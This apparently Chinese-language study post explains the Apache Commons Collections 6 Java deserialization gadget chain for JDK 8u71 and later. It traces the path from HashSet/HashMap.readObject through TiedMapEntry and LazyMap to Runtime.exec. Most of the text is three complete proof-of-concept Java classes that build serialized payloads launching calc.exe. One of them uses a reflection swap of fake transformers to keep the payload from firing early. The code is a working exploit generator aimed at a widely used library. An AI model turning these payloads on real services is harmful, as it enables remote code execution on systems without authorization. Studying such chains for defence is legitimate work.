CommonCollections6
本文环境为 JDK8u211
现在开始学习,Java 8u71之后,即高版本Java利用链,从CommonCollections6开始
在 8u71之后AnnotationInvocationHandler的逻辑变成新建了一个LinkedHashMap对象,并将原来的键值添加进去,传进去的恶意Map不再执行set或put操作。而LazyMap
是通过invoke方法触发其get方法开始的,所以需要一个新的触发get方法的点,先看ysoserial当中CC6的
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
通过org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
去触发get方法
直接搜get,找到getValue()
方法
public Object getValue() {
return map.get(key);
}
查找其调用,跟踪到hashCode()
方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
要调用这个TiedMapEntry.hashCode()
,按ysoserial的逻辑就到了HashMap.hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
再到HashMap.put()
去调用hash()
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
不过这里putVal(hash(key)......)
的调用其实在HashMap.readObject()
当中也有相似的调用,下面就分为两个分支进行学习,其实本身还是同一个东西。
HashSet.readObject()
先来学习ysoserial用的链子
/**
* Reconstitute the <tt>HashSet</tt> instance from a stream (that is,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
//调用HashMap.put
map.put(e, PRESENT);
}
}
那么直接new一个HashSet 再调用其put方法即可
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc.exe",}),
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet expMap = new HashSet();
expMap.add(entry);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行代码会发现弹出两个计算器,可以看到在调用HashSet.put方法时候也会调用一次hashMap.put
解决办法就是构造LazyMap的时候先用无害的fakeTransformers 对象,序列化的时候再通过反射将把恶意transformers 替换进去。
POC:
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc.exe",}),
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet expMap = new HashSet();
expMap.add(entry);
//移除entry那lazyMap的键
lazyMap.remove("foo");
//通过反射将真正的恶意Transform放进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
不过这个POC和ysoserial的CommonsCollections6还是有不小差别的,ysoserial做了很多优化,不过这里只是为了学习基本原理,就先不深入了
HashMap.readObject
这是p神简化之后的CC6利用链
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
..........................................
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
直接再生成一个hashMap,然后put进去即可
Map expMap = new HashMap();
expMap.put(entry, "valuevalue");
不过直接去生成payload的话,反序列化的时候会发现没有弹出计算器。在readObject下断点调试一下即可发现if (map.containsKey(key) == false)
这因为map已经有foo这个key了,所以表达式为true也就无法进入transform了
需要在序列化之前移除这个key lazyMap.remove("foo");
POC:
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc.exe",}),
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Map expMap = new HashMap();
expMap.put(entry, "valuevalue");
//移除entry那lazyMap的键
lazyMap.remove("foo");
//通过反射将真正的恶意Transform放进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}